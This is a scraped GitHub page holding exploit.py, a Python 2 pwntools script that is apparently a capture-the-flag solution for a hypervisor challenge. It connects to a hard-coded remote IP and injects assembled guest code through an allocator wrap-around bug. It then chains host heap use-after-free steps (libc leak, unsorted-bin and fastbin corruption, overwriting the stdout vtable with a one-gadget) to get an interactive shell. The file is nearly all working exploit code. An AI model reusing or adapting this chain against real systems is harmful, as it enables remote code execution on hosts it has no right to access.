-
Notifications
You must be signed in to change notification settings - Fork 263
/
Copy pathexploit.py
executable file
·189 lines (142 loc) · 5.66 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/python2
from pwn import *
def assemble_with_nasm(code):
with open("code.tmp", "wb") as file:
file.write(code)
subprocess.check_call(["nasm", "-o", "binary.tmp", "code.tmp"])
with open("binary.tmp", "rb") as file:
return file.read()
def exploit(connection):
modified_guest_code = """
BITS 16
command_prompt:
db 'stage1:'
input_prompt:
db 'input:'
; the main loop in the *original* guest code started at this address
;
; the modified code is written with single call of "2.Update memory", so we hijack execution here on next iteration
align 0x10
main_loop:
; command prompt
mov bx, 7
mov ax, command_prompt
call 0x01f3 ; write_bytes
; read command with the following structure
; uint16_t input_size
; uint16_t vmcall_ax
; uint16_t vmcall_bx
; uint16_t vmcall_cx
; uint16_t vmcall_dx
; uint16_t output_size
mov bx, 0x0c
sub sp, bx
mov ax, sp
call 0x0205 ; read_bytes
; input prompt
mov bx, 6
mov ax, input_prompt
call 0x01f3 ; write_bytes
; read input
pop bx
test bx, bx
jz input_done
mov ax, 0x4000
call 0x0205 ; read_bytes
input_done:
; vmcall
push 0x0100
popf
pop ax
pop bx
pop cx
pop dx
vmcall
; write output
pop bx
test bx, bx
jz output_done
mov ax, 0x4000
call 0x01f3 ; write_bytes
output_done:
jmp main_loop
; fits before "2.Update memory" call
"""
def original_alloc_memory(size):
connection.recvuntil("Your choice:")
connection.send("1")
connection.recvuntil("Size:")
connection.send(p16(size))
def original_update_memory(index, content):
connection.recvuntil("Your choice:")
connection.send("2")
connection.recvuntil("Index:")
connection.send(p8(index))
connection.recvuntil("Content:")
connection.send(content)
# Step 1: Modify code executing in guest by exploiting wrap-around vulnerability in the guest memory allocator
for index in xrange(0x0b):
original_alloc_memory(0x1000)
modified_guest_binary = assemble_with_nasm(modified_guest_code)
if 0x56 < len(modified_guest_binary):
raise Exception
original_alloc_memory(len(modified_guest_binary))
original_update_memory(0x0b, modified_guest_binary)
def modified_command(ax, bx, cx, dx, input, output_size):
connection.recvuntil("stage1:")
buffer = StringIO()
buffer.write(p16(len(input)))
buffer.write(p16(ax))
buffer.write(p16(bx))
buffer.write(p16(cx))
buffer.write(p16(dx))
buffer.write(p16(output_size))
connection.send(buffer.getvalue())
connection.recvuntil("input:")
connection.send(input)
output = connection.recvn(output_size)
return output
def modified_alloc_host_memory(size):
modified_command(0x100, size, 0, 0, "", 0)
def modified_free_host_memory(index):
modified_command(0x101, 1, index, 0, "", 0)
def modified_write_host_memory(index, content):
modified_command(0x102, 1, index, len(content), content, 0)
def modified_read_host_memory(index, size):
output = modified_command(0x102, 2, index, size, "", size)
info("modified_read_host_memory(%d) => %s", index, output.encode("hex"))
return output
# Step 2: Leak the address of host `libc` by exploiting use-after-free vulnerability in the host memory allocator
modified_alloc_host_memory(0xe8)
modified_alloc_host_memory(0x80)
modified_free_host_memory(0)
leak = modified_read_host_memory(0, 8)
unsorted_bin_va = u64(leak)
info("unsorted_bin_va = %012x", unsorted_bin_va)
libc_va = unsorted_bin_va - 0x3c4b78
info("libc_va = %012x", libc_va)
# Step 3: Increase `global_fast_max` by exploiting use-after-free vulnerability in the host memory allocator to corrupt the unsorted bin freelist
global_fast_max_va = libc_va + 0x3c67f8
buffer = StringIO()
buffer.write(p64(unsorted_bin_va))
buffer.write(p64(global_fast_max_va - 0x10))
modified_write_host_memory(0, buffer.getvalue())
modified_alloc_host_memory(0xe8)
# Step 4: Allocate memory overlapping with `_IO_2_1_stdout_.vtable` by exploiting use-after-free vulnerability in the host memory allocator to corrupt the fastbin freelist
modified_free_host_memory(2)
modified_write_host_memory(2, p64(libc_va + 0x3c56af))
modified_alloc_host_memory(0xe8)
modified_alloc_host_memory(0xe8)
# Step 5: Overwrite `_IO_2_1_stdout_.vtable` to use new table referring `one gadget RCE`
buffer = StringIO()
buffer.write("A" * 0x39)
buffer.write(p64(libc_va + 0x3c5710)) # `_IO_2_1_stdout_.vtable`
buffer.write("B" * 8)
buffer.write(p64(libc_va + 0x3c5620)) # preserve `stdout`
buffer.write("C" * 0x18)
buffer.write(p64(libc_va + 0x0f1147)) # `one gadget RCE`
modified_write_host_memory(4, buffer.getvalue())
connection.interactive()
context.log_level = "debug"
with remote("34.236.229.208", 9999) as connection:
exploit(connection)